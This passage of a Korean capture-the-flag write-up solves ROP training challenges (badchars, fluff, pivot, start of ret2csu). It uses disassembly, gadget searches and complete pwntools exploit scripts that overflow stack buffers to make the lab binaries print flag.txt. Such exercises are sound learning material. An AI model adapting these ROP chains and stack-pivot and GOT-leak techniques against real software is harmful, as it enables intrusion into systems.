0x0000000000400634 <+12>: mov QWORD PTR [r13+0x0],r12
0x0000000000400638 <+16>: ret
0x0000000000400639 <+17>: nop DWORD PTR [rax+0x0]
End of assembler dump.
usefulFunction 함수는 이전 문제와 동일하며 usefulGadgets은 xor, add, sub 가젯으로 구성되어 있습니다.
x, g, a, . 문자를 필터링하기에 xor, add, sub 가젯을 사용하여 우회하여 flag.txt를 입력하면 될 것입니다.
r15, r14를 사용해야 하기 때문에 가젯을 찾아줍니다.
┌──(kali㉿kali)-[~/Desktop/pwn/ROP/badchars]
└─$ ROPgadget --binary ./badchars | grep 'pop r14'
0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040069e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006a0 : pop r14 ; pop r15 ; ret
0x000000000040069b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040069f : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040069d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
┌──(kali㉿kali)-[~/Desktop/pwn/ROP/badchars]
└─$ ROPgadget --binary ./badchars | grep 'pop rdi'
0x00000000004006a3 : pop rdi ; ret
ROPgadget을 사용하여 pop rdi 가젯과 pop r14; pop r15 가젯을 구해주었습니다.
from pwn import *
p = process('./badchars')
pop_r14_r15 = 0x4006a0
xor = 0x400628
add = 0x40062c
sub = 0x400630
use_func = 0x400617
pop_rdi = 0x4006a3
print_file = 0x400516
ret = 0x4004ee
bss = 0x601200
pop_r15 = 0x4006a2
# 66 6c 61 67 2e 74 78 74 = flag.txt
flag = [0x66, 0x6c, 0x60, 0x66, 0x2d, 0x74, 0x77, 0x74]
idx = [2, 3, 4, 6]
payload = b'C' * (0x20 + 8)
cnt = 0
for i in flag:
payload += p64(pop_r14_r15)
payload += p64(i)
payload += p64(bss + cnt)
payload += p64(add)
cnt += 1
for i in idx:
payload += p64(pop_r14_r15)
payload += p64(0x1)
payload += p64(bss + i)
payload += p64(add)
payload += p64(pop_rdi)
payload += p64(bss)
payload += p64(print_file)
p.send(payload)
p.interactive()
다음과 같이 익스를 작성했습니다. 너무 노가다가 반복문으로 작성했습니다.
익스를 보면 직접 넣을 수 없는 문자가 "x", "g", "a", "."이니 해당 값만 1을 빼서 넣어 전부 bss에 써두고 그 다음 반복문에서 해당 부분만 1을 더해주었습니다. 그 뒤, flag.txt가 완성되었으니 pop rdi 가젯으로 입력한 주소를 전달하여 print_file 함수를 호출합니다.

6. fluff
┌──(kali㉿kali)-[~/Desktop/pwn/ROP/fluff]
└─$ file fluff
fluff: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=2b14d9e5fb7a6bcac48b5304b5153fc679c3651c, not stripped
┌──(kali㉿kali)-[~/Desktop/pwn/ROP/fluff]
└─$ checksec fluff
[*] '/home/kali/Desktop/pwn/ROP/fluff/fluff'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
Stripped: No
fluff 문제 바이너리는 64bit ELF 파일이며, canary와 PIE가 꺼져 있습니다.

이번에도 print_file 함수와 usefulFunction 함수가 존재하며, questionableGadgets 함수가 생겼습니다.
pwndbg> disas pwnme
Dump of assembler code for function pwnme:
0x00007ffff7c008aa <+0>: push rbp
0x00007ffff7c008ab <+1>: mov rbp,rsp
0x00007ffff7c008ae <+4>: sub rsp,0x20
0x00007ffff7c008b2 <+8>: mov rax,QWORD PTR [rip+0x200727] # 0x7ffff7e00fe0
0x00007ffff7c008b9 <+15>: mov rax,QWORD PTR [rax]
0x00007ffff7c008bc <+18>: mov ecx,0x0
0x00007ffff7c008c1 <+23>: mov edx,0x2
0x00007ffff7c008c6 <+28>: mov esi,0x0
0x00007ffff7c008cb <+33>: mov rdi,rax
0x00007ffff7c008ce <+36>: call 0x7ffff7c00790 <setvbuf@plt>
0x00007ffff7c008d3 <+41>: lea rdi,[rip+0x106] # 0x7ffff7c009e0
0x00007ffff7c008da <+48>: call 0x7ffff7c00730 <puts@plt>
0x00007ffff7c008df <+53>: lea rdi,[rip+0x110] # 0x7ffff7c009f6
0x00007ffff7c008e6 <+60>: call 0x7ffff7c00730 <puts@plt>
0x00007ffff7c008eb <+65>: lea rax,[rbp-0x20]
0x00007ffff7c008ef <+69>: mov edx,0x20
0x00007ffff7c008f4 <+74>: mov esi,0x0
0x00007ffff7c008f9 <+79>: mov rdi,rax
0x00007ffff7c008fc <+82>: call 0x7ffff7c00760 <memset@plt>
0x00007ffff7c00901 <+87>: lea rdi,[rip+0xf8] # 0x7ffff7c00a00
0x00007ffff7c00908 <+94>: call 0x7ffff7c00730 <puts@plt>
0x00007ffff7c0090d <+99>: lea rdi,[rip+0x134] # 0x7ffff7c00a48
0x00007ffff7c00914 <+106>: mov eax,0x0
0x00007ffff7c00919 <+111>: call 0x7ffff7c00750 <printf@plt>
0x00007ffff7c0091e <+116>: lea rax,[rbp-0x20]
0x00007ffff7c00922 <+120>: mov edx,0x200
0x00007ffff7c00927 <+125>: mov rsi,rax
0x00007ffff7c0092a <+128>: mov edi,0x0
0x00007ffff7c0092f <+133>: call 0x7ffff7c00770 <read@plt>
0x00007ffff7c00934 <+138>: lea rdi,[rip+0x110] # 0x7ffff7c00a4b
0x00007ffff7c0093b <+145>: call 0x7ffff7c00730 <puts@plt>
0x00007ffff7c00940 <+150>: nop
0x00007ffff7c00941 <+151>: leave
0x00007ffff7c00942 <+152>: ret
End of assembler dump.
pwnme 함수에서는 read 함수로 값을 입력 받으며 버퍼는 0x20 바이트이지만 0x200만큼 입력할 수 있어 bof가 발생할 수 있습니다.
pwndbg> disas usefulFunction
Dump of assembler code for function usefulFunction:
0x0000000000400617 <+0>: push rbp
0x0000000000400618 <+1>: mov rbp,rsp
0x000000000040061b <+4>: mov edi,0x4006c4
0x0000000000400620 <+9>: call 0x400510 <print_file@plt>
0x0000000000400625 <+14>: nop
0x0000000000400626 <+15>: pop rbp
0x0000000000400627 <+16>: ret
End of assembler dump.
Dump of assembler code for function questionableGadgets:
0x0000000000400628 <+0>: xlat BYTE PTR [rbx]
0x0000000000400629 <+1>: ret
0x000000000040062a <+2>: pop rdx
0x000000000040062b <+3>: pop rcx
0x000000000040062c <+4>: add rcx,0x3ef2
0x0000000000400633 <+11>: bextr rbx,rcx,rdx
0x0000000000400638 <+16>: ret
0x0000000000400639 <+17>: stos BYTE PTR [rdi],al
0x000000000040063a <+18>: ret
0x000000000040063b <+19>: nop DWORD PTR [rax+rax*1+0x0]
End of assembler dump.
usefulFunction 함수는 이전과 동일하며 questionableGadgets 함수가 특이합니다.
xlat 명령어는 al = [rbx + al] 연산을 합니다.
bextr 명령어는 rcx 값의 일부 비트를 추출하여 rbx에 저장하는데 저장할 범위, 시작점을 rdx로 결정합니다.
예를 들어 rcx가 0x12345678 이고 rdx가 0x4000이면 하위 1바이트인 00부터 시작(처음부터)하고 0x40 / 8만큼 저장합니다.
0x40 / 8는 8이므로 총 8바이트를 rbx에 저장함을 의미합니다.
즉, bextr 명령어를 통해 rbx에 원하는 값을 넣을 수 있습니다.
stos 명령어는 [rdi]에 al을 하위 1바이트만 저장합니다.
그렇다면 bextr로 rbx를 지정해 [rbx + al] 값을 정할 수 있고 이를 통해 [rdi]에 원하는 값을 쓸 수 있게 됩니다.
이번에는 필터링이 없으니 이걸 통해서 bss에 flag.txt를 저장하고 가져올 생각을 했지만,, 쓸만한 가젯이 없어 .data, .rdata 영역을 각 문자가 담긴 주소를 찾아 사용하였습니다.

이런 식으로 f, l, a, g, ., t, x를 구해주었습니다..
┌──(kali㉿kali)-[~/Desktop/pwn/ROP/fluff]
└─$ ROPgadget --binary ./fluff | grep 'pop rdi'
0x00000000004006a3 : pop rdi ; ret
print_file 함수에 인자를 전달하기 위해 pop rdi 가젯도 구해주었습니다.
from pwn import *
p = process('./fluff')
bextr = 0x40062a
xlat = 0x400628
stos = 0x400639
pop_rdi = 0x4006a3
print_file = 0x400510
rdx = 0x4000
bss = 0x601200
# 66 6c 61 67 2e 74 78 74
f = 0x6003c4 - 0x3ef2 - 0xb # al = 0xb
l = 0x600242 - 0x3ef2 - 0x66 # al = 0x66 = f
a = 0x600411 - 0x3ef2 - 0x6c # al = 0x6c = l
g = 0x6007a0 - 0x3ef2 - 0x61 # al = 0x61 = a
dot = 0x600251 - 0x3ef2 - 0x67 # al = 0x67 = g
t = 0x6003d8 - 0x3ef2 - 0x2e # al = 0x2e = .
x = 0x600778 - 0x3ef2 - 0x74 # al = 0x74 = t
t2 = 0x6003d8 - 0x3ef2 - 0x78 # al = 0x78 = x
flag = [f, l, a, g, dot, t, x, t2]
cnt = 0
payload = b'A' * (0x20 + 8)
# rcx = rcx + 0x3ef2
for i in flag:
payload += p64(bextr)
payload += p64(rdx)
payload += p64(i)
payload += p64(xlat)
payload += p64(pop_rdi)
payload += p64(bss + cnt)
payload += p64(stos)
cnt += 1
payload += p64(pop_rdi)
payload += p64(bss)
payload += p64(print_file)
p.send(payload)
p.interactive()
다음과 같이 익스를 작성했습니다.
이번에도 반복문으로 작성하였으며 반복문에서는 bextr 가젯을 불러 rdx로 0x4000을 전달해 rcx 값을 rbx에 저장합니다.
이후 xlat 가젯을 호출하여 [rbx+al]을 통해 원하는 글자를 al에 저장합니다.
마지막으로 pop rdi 가젯을 통해 rdi에 bss 영역을 주고 stos 가젯을 호출하여 [rdi]에 아까 저장한 al 값을 저장합니다.
이를 반복하여 bss 영역에 flag.txt를 저장한 뒤, print_file을 호출합니다.
가장 중요한 부분은 al 값을 매 실행마다 맞춰주는 것입니다.
처음에는 모르는 값이 있기에 디버깅을 통해 구해주었고 이후에는 이전에 입력한 글자가 al에 들어있기 때문에 al 값을 고려해서 offset을 맞춰주었습니다.

7. pivot
┌──(kali㉿kali)-[~/Desktop/pwn/ROP/pivot]
└─$ file pivot
pivot: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=0e9fb878206e1858b042597fd36c51aa07497121, not stripped
┌──(kali㉿kali)-[~/Desktop/pwn/ROP/pivot]
└─$ checksec pivot
[*] '/home/kali/Desktop/pwn/ROP/pivot/pivot'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
Stripped: No
pivot 문제 바이너리는 64bit ELF 파일이며, canary와 PIE가 꺼져 있습니다.

이번에는 uselessFunction과 usefulGadgets, foothold_function 함수가 존재합니다.

이번 문제는 2번의 입력 기회를 주며 pivot 하라고 writable 영역 주소를 제공합니다.
Dump of assembler code for function pwnme:
0x00000000004008f1 <+0>: push rbp
0x00000000004008f2 <+1>: mov rbp,rsp
0x00000000004008f5 <+4>: sub rsp,0x30
0x00000000004008f9 <+8>: mov QWORD PTR [rbp-0x28],rdi
0x00000000004008fd <+12>: lea rax,[rbp-0x20]
0x0000000000400901 <+16>: mov edx,0x20
0x0000000000400906 <+21>: mov esi,0x0
0x000000000040090b <+26>: mov rdi,rax
0x000000000040090e <+29>: call 0x400700 <memset@plt>
0x0000000000400913 <+34>: mov edi,0x400aa9
0x0000000000400918 <+39>: call 0x4006e0 <puts@plt>
0x000000000040091d <+44>: mov rax,QWORD PTR [rbp-0x28]
0x0000000000400921 <+48>: mov rsi,rax
0x0000000000400924 <+51>: mov edi,0x400ac8
0x0000000000400929 <+56>: mov eax,0x0
0x000000000040092e <+61>: call 0x4006f0 <printf@plt>
0x0000000000400933 <+66>: mov edi,0x400b08
0x0000000000400938 <+71>: call 0x4006e0 <puts@plt>
0x000000000040093d <+76>: mov edi,0x400b34
0x0000000000400942 <+81>: mov eax,0x0
0x0000000000400947 <+86>: call 0x4006f0 <printf@plt>
0x000000000040094c <+91>: mov rax,QWORD PTR [rbp-0x28]
0x0000000000400950 <+95>: mov edx,0x100
0x0000000000400955 <+100>: mov rsi,rax
0x0000000000400958 <+103>: mov edi,0x0
0x000000000040095d <+108>: call 0x400710 <read@plt>
0x0000000000400962 <+113>: mov edi,0x400b37
0x0000000000400967 <+118>: call 0x4006e0 <puts@plt>
0x000000000040096c <+123>: mov edi,0x400b48
0x0000000000400971 <+128>: call 0x4006e0 <puts@plt>
0x0000000000400976 <+133>: mov edi,0x400b34
0x000000000040097b <+138>: mov eax,0x0
0x0000000000400980 <+143>: call 0x4006f0 <printf@plt>
0x0000000000400985 <+148>: lea rax,[rbp-0x20]
0x0000000000400989 <+152>: mov edx,0x40
0x000000000040098e <+157>: mov rsi,rax
0x0000000000400991 <+160>: mov edi,0x0
0x0000000000400996 <+165>: call 0x400710 <read@plt>
0x000000000040099b <+170>: mov edi,0x400b69
0x00000000004009a0 <+175>: call 0x4006e0 <puts@plt>
0x00000000004009a5 <+180>: nop
0x00000000004009a6 <+181>: leave
0x00000000004009a7 <+182>: ret
End of assembler dump.
첫 번째 read 함수에서는 0x100만큼 입력할 수 있으며 처음에 제공한 pivot 주소에 값을 쓰게 됩니다.
두 번째 read 함수에서는 0x40만큼 입력할 수 있으며 버퍼가 0x20 크기이기에 bof가 발생할 수 있습니다.
Dump of assembler code for function uselessFunction:
0x00000000004009a8 <+0>: push rbp
0x00000000004009a9 <+1>: mov rbp,rsp
0x00000000004009ac <+4>: call 0x400720 <foothold_function@plt>
0x00000000004009b1 <+9>: mov edi,0x1
0x00000000004009b6 <+14>: call 0x400750 <exit@plt>
End of assembler dump.
Dump of assembler code for function usefulGadgets:
0x00000000004009bb <+0>: pop rax
0x00000000004009bc <+1>: ret
0x00000000004009bd <+2>: xchg rsp,rax
0x00000000004009bf <+4>: ret
0x00000000004009c0 <+5>: mov rax,QWORD PTR [rax]
0x00000000004009c3 <+8>: ret
0x00000000004009c4 <+9>: add rax,rbp
0x00000000004009c7 <+12>: ret
0x00000000004009c8 <+13>: nop DWORD PTR [rax+rax*1+0x0]
End of assembler dump.
uselessFunction 함수에서는 foothold_function@plt 함수를 호출하고 usefulGadgets 함수는 pop rax, xchg, mov, add 가젯을 제공합니다.
xchg 가젯은 exchange로 rsp와 rax 값을 교환합니다.
pwndbg> disas foothold_function
Dump of assembler code for function foothold_function:
0x00007ffff7c0096a <+0>: push rbp
0x00007ffff7c0096b <+1>: mov rbp,rsp
0x00007ffff7c0096e <+4>: lea rdi,[rip+0x1ab] # 0x7ffff7c00b20
0x00007ffff7c00975 <+11>: call 0x7ffff7c00830 <puts@plt>
0x00007ffff7c0097a <+16>: nop
0x00007ffff7c0097b <+17>: pop rbp
0x00007ffff7c0097c <+18>: ret
End of assembler dump.
pwndbg> x/s 0x7ffff7c00b20
0x7ffff7c00b20: "foothold_function(): Check out my .got.plt entry to gain a foothold into libpivot"
pwndbg> got foothold_function
Filtering by symbol name: foothold_function
Filtering out read-only entries (display them with -r or --show-readonly)
State of the GOT of /home/kali/Desktop/pwn/ROP/pivot/pivot:
GOT protection: Partial RELRO | Found 1 GOT entries passing the filter
[0x601040] foothold_function -> 0x400726 (foothold_function@plt+6) ◂— push 5
foothold_function 함수는 puts 함수로 문자열을 출력하는데 .got.plt를 통해 뭔가를 얻으라는 것 같습니다.

디버깅을 돌리고 info func을 확인해보니 못봤던 ret2win 함수가 출력되었습니다.
Dump of assembler code for function ret2win:
0x00007ffff7c00a81 <+0>: push rbp
0x00007ffff7c00a82 <+1>: mov rbp,rsp
0x00007ffff7c00a85 <+4>: sub rsp,0x40
0x00007ffff7c00a89 <+8>: mov rax,QWORD PTR fs:0x28
0x00007ffff7c00a92 <+17>: mov QWORD PTR [rbp-0x8],rax
0x00007ffff7c00a96 <+21>: xor eax,eax
0x00007ffff7c00a98 <+23>: mov QWORD PTR [rbp-0x38],0x0
0x00007ffff7c00aa0 <+31>: lea rsi,[rip+0xdf] # 0x7ffff7c00b86
0x00007ffff7c00aa7 <+38>: lea rdi,[rip+0xda] # 0x7ffff7c00b88
0x00007ffff7c00aae <+45>: call 0x7ffff7c00860 <fopen@plt>
0x00007ffff7c00ab3 <+50>: mov QWORD PTR [rbp-0x38],rax
0x00007ffff7c00ab7 <+54>: cmp QWORD PTR [rbp-0x38],0x0
0x00007ffff7c00abc <+59>: jne 0x7ffff7c00ad4 <ret2win+83>
0x00007ffff7c00abe <+61>: lea rdi,[rip+0xcc] # 0x7ffff7c00b91
0x00007ffff7c00ac5 <+68>: call 0x7ffff7c00830 <puts@plt>
0x00007ffff7c00aca <+73>: mov edi,0x1
0x00007ffff7c00acf <+78>: call 0x7ffff7c00870 <exit@plt>
0x00007ffff7c00ad4 <+83>: mov rdx,QWORD PTR [rbp-0x38]
0x00007ffff7c00ad8 <+87>: lea rax,[rbp-0x30]
0x00007ffff7c00adc <+91>: mov esi,0x21
0x00007ffff7c00ae1 <+96>: mov rdi,rax
0x00007ffff7c00ae4 <+99>: call 0x7ffff7c00850 <fgets@plt>
0x00007ffff7c00ae9 <+104>: lea rax,[rbp-0x30]
0x00007ffff7c00aed <+108>: mov rdi,rax
0x00007ffff7c00af0 <+111>: call 0x7ffff7c00830 <puts@plt>
0x00007ffff7c00af5 <+116>: mov rax,QWORD PTR [rbp-0x38]
0x00007ffff7c00af9 <+120>: mov rdi,rax
0x00007ffff7c00afc <+123>: call 0x7ffff7c00840 <fclose@plt>
0x00007ffff7c00b01 <+128>: mov QWORD PTR [rbp-0x38],0x0
0x00007ffff7c00b09 <+136>: mov edi,0x0
0x00007ffff7c00b0e <+141>: call 0x7ffff7c00870 <exit@plt>
End of assembler dump.
pwndbg> got ret2win
Filtering by symbol name: ret2win
Filtering out read-only entries (display them with -r or --show-readonly)
State of the GOT of /home/kali/Desktop/pwn/ROP/pivot/pivot:
GOT protection: Partial RELRO | Found 0 GOT entries passing the filter
ret2win의 주소를 알 수 없지만 foothold_function 함수의 .got.plt 주소를 얻고 foothold_function 함수의 offset과 ret2win 함수의 offset을 통해 ret2win 함수의 주소를 얻을 수 있습니다.
┌──(kali㉿kali)-[~/Desktop/pwn/ROP/pivot]
└─$ readelf -s ./libpivot.so | grep 'ret2win'
18: 0000000000000a81 146 FUNC GLOBAL DEFAULT 12 ret2win
48: 0000000000000a81 146 FUNC GLOBAL DEFAULT 12 ret2win
┌──(kali㉿kali)-[~/Desktop/pwn/ROP/pivot]
└─$ readelf -s ./libpivot.so | grep 'foothold_function'
10: 000000000000096a 19 FUNC GLOBAL DEFAULT 12 foothold_function
55: 000000000000096a 19 FUNC GLOBAL DEFAULT 12 foothold_function
offset 차이는 위와 같습니다.
from pwn import *
p = process('./pivot')
pop_rax = 0x4009bb
xchg_rsp_rax = 0x4009bd # exchange rsp and rax
mov_rax_value = 0x4009c0
add_rax_rbp = 0x4009c4
foot_got = 0x601040
main = 0x4008f1
puts_plt = 0x4006e0
ret = 0x4006b6
pop_rdi = 0x400a33
p.recvuntil(b'pivot: ')
write = p.recvline()
write = int(write[:len(write)-1], 16)
print(hex(write))
payload = p64(0x400720) # foot_plt (아직 resolve 상태라서 실행해주어야 함)
payload += p64(pop_rdi)
payload += p64(foot_got)
payload += p64(puts_plt)
payload += p64(main)
p.send(payload)
payload = b'A' * 0x20
payload += p64(write-0x8)
p.send(payload)
p.recvuntil(b'libpivot\n')
leak = int.from_bytes(p.recv(6), 'little')
print(hex(leak))
ret2win = leak + 0x117
payload = p64(ret2win)
p.send(payload)
payload = b'A' * 0x20
payload += p64(ret2win)
p.send(payload)
p.interactive()
다음과 같이 익스를 작성했습니다.
제공된 가젯을 어떻게 써야될지 모르겠어서 사용하진 않았지만,, 익스는 성공했습니다.
먼저 처음 read에서 제공받은 writable 영역에 foothold_function 함수의 got 주소를 leak하고 main으로 돌아오는 ROP chain을 입력했습니다. 그 다음 2번째 read에서 rbp를 write-0x8로 바꿔 rsp를 write 주소 쪽으로 옮겨 입력해둔 ROP chain이 실행되도록 하였습니다.
2번째 main에서는 leak한 foothold_function 함수의 got 주소를 통해 ret2win의 주소를 구하고 두 번의 입력 모두 ret2win으로 넣어주었습니다. 왜인지 모르겠지만 ret2win을 return address가 아닌 rbp 자리에 덮어써야 진행되었습니다.

왜인지 모르겠지만 익스가 될 때도 있고 안될 때도 있는,, 도박 익스를 만들었습니다.
8. ret2csu
┌──(kali㉿kali)-[~/Desktop/pwn/ROP/ret2csu]
└─$ file ret2csu
ret2csu: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=f722121b08628ec9fc4a8cf5abd1071766097362, not stripped
┌──(kali㉿kali)-[~/Desktop/pwn/ROP/ret2csu]
└─$ checksec ret2csu
[*] '/home/kali/Desktop/pwn/ROP/ret2csu/ret2csu'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
Stripped: No
ret2csu 문제 바이너리는 64bit ELF 파일이며, canary와 PIE가 꺼져 있습니다.

usefulFunction 함수와 ret2win 함수가 존재하며 usefulGadgets 함수가 사라졌습니다.
Dump of assembler code for function usefulFunction:
0x0000000000400617 <+0>: push rbp
0x0000000000400618 <+1>: mov rbp,rsp
0x000000000040061b <+4>: mov edx,0x3
0x0000000000400620 <+9>: mov esi,0x2
0x0000000000400625 <+14>: mov edi,0x1
0x000000000040062a <+19>: call 0x400510 <ret2win@plt>
0x000000000040062f <+24>: nop
0x0000000000400630 <+25>: pop rbp
0x0000000000400631 <+26>: ret
End of assembler dump.
Dump of assembler code for function ret2win:
0x00007ffff7c009d3 <+0>: push rbp
0x00007ffff7c009d4 <+1>: mov rbp,rsp
0x00007ffff7c009d7 <+4>: sub rsp,0x30
0x00007ffff7c009db <+8>: mov QWORD PTR [rbp-0x18],rdi
0x00007ffff7c009df <+12>: mov QWORD PTR [rbp-0x20],rsi
0x00007ffff7c009e3 <+16>: mov QWORD PTR [rbp-0x28],rdx
0x00007ffff7c009e7 <+20>: mov QWORD PTR [rbp-0x10],0x0
0x00007ffff7c009ef <+28>: movabs rax,0xdeadbeefdeadbeef
0x00007ffff7c009f9 <+38>: cmp QWORD PTR [rbp-0x18],rax
0x00007ffff7c009fd <+42>: jne 0x7ffff7c00ada <ret2win+263>
0x00007ffff7c00a03 <+48>: movabs rax,0xcafebabecafebabe
0x00007ffff7c00a0d <+58>: cmp QWORD PTR [rbp-0x20],rax
0x00007ffff7c00a11 <+62>: jne 0x7ffff7c00ada <ret2win+263>
0x00007ffff7c00a17 <+68>: movabs rax,0xd00df00dd00df00d
0x00007ffff7c00a21 <+78>: cmp QWORD PTR [rbp-0x28],rax
0x00007ffff7c00a25 <+82>: jne 0x7ffff7c00ada <ret2win+263>
0x00007ffff7c00a2b <+88>: lea rsi,[rip+0x2ee] # 0x7ffff7c00d20
0x00007ffff7c00a32 <+95>: lea rdi,[rip+0x2e9] # 0x7ffff7c00d22
0x00007ffff7c00a39 <+102>: call 0x7ffff7c00830 <fopen@plt>
0x00007ffff7c00a3e <+107>: mov QWORD PTR [rbp-0x10],rax
0x00007ffff7c00a42 <+111>: cmp QWORD PTR [rbp-0x10],0x0
0x00007ffff7c00a47 <+116>: jne 0x7ffff7c00a5f <ret2win+140>
0x00007ffff7c00a49 <+118>: lea rdi,[rip+0x2e8] # 0x7ffff7c00d38
0x00007ffff7c00a50 <+125>: call 0x7ffff7c007a0 <puts@plt>
0x00007ffff7c00a55 <+130>: mov edi,0x1
0x00007ffff7c00a5a <+135>: call 0x7ffff7c00840 <exit@plt>
0x00007ffff7c00a5f <+140>: mov edi,0x21
0x00007ffff7c00a64 <+145>: call 0x7ffff7c00810 <malloc@plt>
0x00007ffff7c00a69 <+150>: mov QWORD PTR [rip+0x201610],rax # 0x7ffff7e02080 <g_buf>
0x00007ffff7c00a70 <+157>: mov rax,QWORD PTR [rip+0x201609] # 0x7ffff7e02080 <g_buf>
0x00007ffff7c00a77 <+164>: test rax,rax
0x00007ffff7c00a7a <+167>: jne 0x7ffff7c00a92 <ret2win+191>
0x00007ffff7c00a7c <+169>: lea rdi,[rip+0x2d7] # 0x7ffff7c00d5a
0x00007ffff7c00a83 <+176>: call 0x7ffff7c007a0 <puts@plt>
0x00007ffff7c00a88 <+181>: mov edi,0x1
0x00007ffff7c00a8d <+186>: call 0x7ffff7c00840 <exit@plt>
0x00007ffff7c00a92 <+191>: mov rax,QWORD PTR [rip+0x2015e7] # 0x7ffff7e02080 <g_buf>
0x00007ffff7c00a99 <+198>: mov rdx,QWORD PTR [rbp-0x10]
0x00007ffff7c00a9d <+202>: mov esi,0x21
0x00007ffff7c00aa2 <+207>: mov rdi,rax
0x00007ffff7c00aa5 <+210>: call 0x7ffff7c00800 <fgets@plt>
0x00007ffff7c00aaa <+215>: mov QWORD PTR [rip+0x2015cf],rax # 0x7ffff7e02080 <g_buf>
0x00007ffff7c00ab1 <+222>: mov rax,QWORD PTR [rbp-0x10]
0x00007ffff7c00ab5 <+226>: mov rdi,rax
0x00007ffff7c00ab8 <+229>: call 0x7ffff7c007b0 <fclose@plt>
0x00007ffff7c00abd <+234>: mov QWORD PTR [rbp-0x10],0x0
0x00007ffff7c00ac5 <+242>: movabs rax,0xdeadbeefdeadbeef
0x00007ffff7c00acf <+252>: cmp QWORD PTR [rbp-0x18],rax
0x00007ffff7c00ad3 <+256>: je 0x7ffff7c00af0 <ret2win+285>
0x00007ffff7c00ad5 <+258>: jmp 0x7ffff7c00b9d <ret2win+458>
0x00007ffff7c00ada <+263>: lea rdi,[rip+0x293] # 0x7ffff7c00d74
0x00007ffff7c00ae1 <+270>: call 0x7ffff7c007a0 <puts@plt>
0x00007ffff7c00ae6 <+275>: mov edi,0x1
0x00007ffff7c00aeb <+280>: call 0x7ffff7c00840 <exit@plt>
0x00007ffff7c00af0 <+285>: movabs rax,0xcafebabecafebabe
0x00007ffff7c00afa <+295>: cmp QWORD PTR [rbp-0x20],rax
0x00007ffff7c00afe <+299>: jne 0x7ffff7c00b9d <ret2win+458>
0x00007ffff7c00b04 <+305>: movabs rax,0xd00df00dd00df00d
0x00007ffff7c00b0e <+315>: cmp QWORD PTR [rbp-0x28],rax
0x00007ffff7c00b12 <+319>: jne 0x7ffff7c00b9d <ret2win+458>
0x00007ffff7c00b18 <+325>: lea rsi,[rip+0x201] # 0x7ffff7c00d20
0x00007ffff7c00b1f <+332>: lea rdi,[rip+0x263] # 0x7ffff7c00d89
0x00007ffff7c00b26 <+339>: call 0x7ffff7c00830 <fopen@plt>
0x00007ffff7c00b2b <+344>: mov QWORD PTR [rbp-0x10],rax
0x00007ffff7c00b2f <+348>: cmp QWORD PTR [rbp-0x10],0x0
0x00007ffff7c00b34 <+353>: jne 0x7ffff7c00b4c <ret2win+377>
0x00007ffff7c00b36 <+355>: lea rdi,[rip+0x254] # 0x7ffff7c00d91
0x00007ffff7c00b3d <+362>: call 0x7ffff7c007a0 <puts@plt>
0x00007ffff7c00b42 <+367>: mov edi,0x1
0x00007ffff7c00b47 <+372>: call 0x7ffff7c00840 <exit@plt>
0x00007ffff7c00b4c <+377>: mov DWORD PTR [rbp-0x4],0x0
0x00007ffff7c00b53 <+384>: mov DWORD PTR [rbp-0x4],0x0
0x00007ffff7c00b5a <+391>: jmp 0x7ffff7c00b95 <ret2win+450>
0x00007ffff7c00b5c <+393>: mov rax,QWORD PTR [rbp-0x10]
0x00007ffff7c00b60 <+397>: mov rdi,rax
0x00007ffff7c00b63 <+400>: call 0x7ffff7c007e0 <fgetc@plt>
0x00007ffff7c00b68 <+405>: mov esi,eax
0x00007ffff7c00b6a <+407>: mov rdx,QWORD PTR [rip+0x20150f] # 0x7ffff7e02080 <g_buf>
0x00007ffff7c00b71 <+414>: mov eax,DWORD PTR [rbp-0x4]
0x00007ffff7c00b74 <+417>: cdqe
0x00007ffff7c00b76 <+419>: add rax,rdx
0x00007ffff7c00b79 <+422>: movzx ecx,BYTE PTR [rax]
0x00007ffff7c00b7c <+425>: mov rdx,QWORD PTR [rip+0x2014fd] # 0x7ffff7e02080 <g_buf>
0x00007ffff7c00b83 <+432>: mov eax,DWORD PTR [rbp-0x4]
0x00007ffff7c00b86 <+435>: cdqe
0x00007ffff7c00b88 <+437>: add rax,rdx
0x00007ffff7c00b8b <+440>: xor ecx,esi
0x00007ffff7c00b8d <+442>: mov edx,ecx
0x00007ffff7c00b8f <+444>: mov BYTE PTR [rax],dl
0x00007ffff7c00b91 <+446>: add DWORD PTR [rbp-0x4],0x1
0x00007ffff7c00b95 <+450>: cmp DWORD PTR [rbp-0x4],0x1f
0x00007ffff7c00b99 <+454>: jle 0x7ffff7c00b5c <ret2win+393>
0x00007ffff7c00b9b <+456>: jmp 0x7ffff7c00bb3 <ret2win+480>
0x00007ffff7c00b9d <+458>: lea rdi,[rip+0x1d0] # 0x7ffff7c00d74
0x00007ffff7c00ba4 <+465>: call 0x7ffff7c007a0 <puts@plt>
0x00007ffff7c00ba9 <+470>: mov edi,0x1
0x00007ffff7c00bae <+475>: call 0x7ffff7c00840 <exit@plt>
0x00007ffff7c00bb3 <+480>: movabs rax,0xdeadbeefdeadbeef
0x00007ffff7c00bbd <+490>: cmp QWORD PTR [rbp-0x18],rax
0x00007ffff7c00bc1 <+494>: jne 0x7ffff7c00c64 <ret2win+657>
0x00007ffff7c00bc7 <+500>: movabs rax,0xcafebabecafebabe
0x00007ffff7c00bd1 <+510>: cmp QWORD PTR [rbp-0x20],rax
0x00007ffff7c00bd5 <+514>: jne 0x7ffff7c00c64 <ret2win+657>
0x00007ffff7c00bdb <+520>: movabs rax,0xd00df00dd00df00d
